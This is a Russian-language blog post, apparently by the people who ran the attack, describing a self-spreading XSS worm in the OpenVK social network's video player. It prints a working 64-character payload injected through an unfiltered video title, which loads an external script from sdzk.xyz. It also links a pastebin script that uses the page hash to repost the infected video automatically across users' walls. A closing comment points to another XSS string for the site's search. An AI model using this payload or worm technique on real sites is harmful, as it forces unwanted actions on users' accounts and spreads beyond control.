Закрыть
Вверх
Этой ночью нашли критическую уязвимость в нововведённом видео-плеере, в последствии чего в глобальной ленты OpenVK творилась вакханалия

Уязвимость заключалась в отсутствии фильтрации названия видео, после его редактирования и позволяла она вставить туда любой пользовательский javascript код, чем мы и решили воспользоваться!

Всё бы хорошо, но почти сразу мы наткнулись на проблему - лимит ровно в 64 символа. Нам необходимо было построить цепочку эксплоитов, которая сама себя встроит в html код страницы и сможет распространяться самостоятельно, как червь (Хотя мы назвали это гидрой, расскажем почему чуть позже), спустя несколько часов перебора вариантов, мы максимально сильно ужали точку входа в наш скрипт(из-за такого подхода ломался интерфейс плеера, так как нам приходилось убирать некоторые кусочки html кода для вмещения в лимит символов).

Не будем тянуть, представляю вам магнум опус этого взлома, код загружающий внешний скрипт на страницу, длинной ровно в 64 символа:
<audio src/onerror="$(body).append('<script src=//sdzk.xyz/a>')"

Скрипт создавал на в html коде страницы тег script, ссылающийся на этот код:
pastebin.com/maewTdPT

Этот код работает достаточно просто, он берёт хэш прямо с кода страницы(он нужен для работы бекенда) и с ним в качестве аргумента делает репост записи с видео, у которого в названии та самая строчка из 64 символов.

Ну и теперь следите за руками, сейчас я вам покажу секрет фокуса!

Каждый человек, заходя в новости, прогружал плеер с вредоносным кодом(обычно даже не один), что вызывало цепочку скриптов на странице и как следствие, делала репосты на стену пользователя, которые в последствии попадались другим пользователям.

Самое смешное, если у пользователя на собственной стене было хотя-бы два репоста, то избавиться от них было просто невозможно, удаление одного поста вызывало перезагрузку страницы и повторное исполнение цепочки скриптов, потому мы и назвали её гидрой, потому что убить её можно было только уничтожив все репосты разом через БД что конечно подсилу только админам

Пост с этим видео набрал за ночь 1534 репоста
Поделиться

Комментарии (1)

Если бы эту уязвимость эксплуатировал кто-то другой, то последствия были бы гораздо хуже....

Кстати, ткните Ярослава, чтобы он пофиксил свой поиск, а то походу он считает, что <script>alert("XSS");</script> - норма

Действия